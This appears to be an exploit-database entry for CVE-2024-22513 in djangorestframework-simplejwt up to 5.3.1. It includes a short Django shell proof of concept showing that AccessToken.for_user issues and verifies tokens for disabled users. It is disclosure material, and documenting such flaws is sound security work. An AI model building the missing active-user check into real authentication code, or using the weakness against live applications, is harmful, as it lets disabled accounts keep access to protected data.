Django REST Framework SimpleJWT 5.3.1 Information Disclosure

`# Exploit Title: djangorestframework-simplejwt 5.3.1 - Information Disclosure  
# Date: 26/01/2024  
# Exploit Author: Dhrumil Mistry (dmdhrumilmistry)  
# Vendor Homepage: https://github.com/jazzband/djangorestframework-simplejwt/  
# Software Link:https://github.com/jazzband/djangorestframework-simplejwt/releases/tag/v5.3.1  
# Version: <= 5.3.1  
# Tested on: MacOS  
# CVE : CVE-2024-22513  
  
# The version of djangorestframework-simplejwt up to 5.3.1 is vulnerable.  
# This vulnerability has the potential to cause various security issues,  
# including Business Object Level Authorization (BOLA), Business Function  
# Level Authorization (BFLA), Information Disclosure, etc. The vulnerability  
# arises from the fact that a user can access web application resources even  
# after their account has been disabled, primarily due to the absence of proper  
# user validation checks.  
  
# If a programmer generates a JWT token for an inactive user using  
`AccessToken`  
# class and `for_user` method then a JWT token is returned which can  
be used for  
# authentication across the django and django rest framework application.  
  
# Start Django Shell using below command:  
# python manage.py shell  
# ----------------------------------------  
  
# Create inactive user and generate token for the user  
from django.contrib.auth.models import User  
from rest_framework_simplejwt.tokens import AccessToken  
  
# create inactive user  
inactive_user_id = User.objects.create_user('testuser',  
'[email protected]', 'testPassw0rd!', is_active=False).id  
  
# django application programmer generates token for the inactive user  
AccessToken.for_user(User.objects.get(id=inactive_user_id)) # error  
should be raised since user is inactive  
  
# django application verifying user token  
AccessToken.for_user(User.objects.get(id=inactive_user_id)).verify() #  
no exception is raised during verification of inactive user token  
  
  
`